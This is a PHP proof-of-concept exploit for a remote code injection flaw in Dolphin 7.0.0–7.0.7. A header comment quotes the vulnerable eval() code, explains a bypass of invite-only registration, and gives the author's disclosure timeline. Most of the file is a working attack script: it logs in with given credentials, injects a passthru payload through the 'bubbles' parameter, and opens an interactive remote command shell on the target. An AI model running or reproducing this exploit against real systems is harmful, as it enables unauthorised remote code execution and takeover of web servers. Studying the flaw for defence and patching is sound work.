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<?php /* ---------------------------------------------------------------------------- Dolphin <= 7.0.7 (member_menu_queries.php) Remote PHP Code Injection Exploit ---------------------------------------------------------------------------- author...............: EgiX mail.................: n0b0d13s[at]gmail[dot]com software link........: http://www.boonex.com/dolphin affected versions....: from 7.0.0 to 7.0.7 +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only.| | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in /member_menu_queries.php 61.case 'get_bubbles_values' : 62.$sBubbles = ( isset($_GET['bubbles']) ) ?$_GET['bubbles'] : null; 63.if ( $sBubbles && $iMemberId ) { 64. 65.$aMemberInfo= getProfileInfo($iMemberId); 66.if($aMemberInfo['UserStatus'] != 'offline') { 67.// update the date of last navigate; 68.update_date_lastnav($iMemberId); 69.} 70. 71.$aBubbles = array(); 72.$aBubblesItems = explode(',', $sBubbles); 73. 74.if ( $aBubblesItems && is_array($aBubblesItems) ) { 75.$bClearCache = false; 76.foreach( $aBubblesItems as $sValue) 77.{ 78.$aItem = explode(':', $sValue); 79. 80.$sBubbleCode = null; 81.foreach($aMenuStructure as $sKey => $aItems) 82.{ 83.foreach($aItems as $iKey => $aSubItems) 84.{ 85.if( $aSubItems['Name'] == $aItem[0]) { 86.$sBubbleCode = $aSubItems['Bubble']; 87.break; 88.} 89.} 90. 91.if ($sBubbleCode) { 92.break; 93.} 94.} 95. 96.if ($sBubbleCode) { 97.$sCode= str_replace('{iOldCount}', $aItem[1], $sBubbleCode); 98.$sCode= str_replace('{ID}', $iMemberId, $sCode); 99. 100. eval($sCode); When handling 'get_bubbles_values' action, input passed through $_GET['bubbles'] isn't properly sanitized before being used in a call to eval() at line 100, this can be exploited to inject arbitrary PHP code. Successful exploitation of this vulnerability requires authentication, but is always possible to create a new account also if 'REGISTRATION BY INVITATION ONLY' is enabled, in this case an attacker could bypass the restriction visiting first /index.php?idFriend=1 and after point to /join.php for a new registration. [-] Disclosure timeline: [25/09/2011] - Vulnerability discovered [26/09/2011] - Issue reported to http://www.boonex.com/forums/topic/PHP-Code-Injection.htm [26/09/2011] - A moderator hide the topic [29/09/2011] - Vendor contacted again through http://www.boonex.com/help/contact [04/10/2011] - Vendor replied that there is a designated place for this kind of report: "Dolphin Bug Reports" forum [04/10/2011] - I replied that I've already posted in this forum, but the topic has been hidden [05/10/2011] - Vendor reply: "It may has been hidden because it WASN'T posted in the proper place" [05/10/2011] - My reply: "It has been hidden for security reason, the moderator told me to report the issue through http://www.boonex.com/help/contact" [08/10/2011] - Vendor replied that a patch will be released as soon as possible [13/10/2011] - Vendor update released: http://www.boonex.com/n/dolphin-7-0-8-beta-1 [18/10/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "\n+------------------------------------------------------------+"; print "\n| Dolphin <= 7.0.7 Remote PHP Code Injection Exploit by EgiX |"; print "\n+------------------------------------------------------------+\n"; if ($argc < 5) { print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n"; print "\nExample....: php $argv[0] localhost / user pass"; print "\nExample....: php $argv[0] localhost /dolphin/ user pass\n"; die(); } $host = $argv[1]; $path = $argv[2]; $payload = "ID={$argv[3]}&Password={$argv[4]}"; $packet= "POST {$path}member.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; if (!preg_match("/memberID=([0-9]+).*memberPassword=([0-9a-f]+)/is", http_send($host, $packet), $m)) die("\n[-] Login failed!\n"); $phpcode = "1);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD])"; $packet= "GET {$path}member_menu_queries.php?action=get_bubbles_values&bubbles=Friends:{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: memberID={$m[1]}; memberPassword={$m[2]}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\ndolphin-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/\r\n\r\n(.*)\{\"Friends/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?> |
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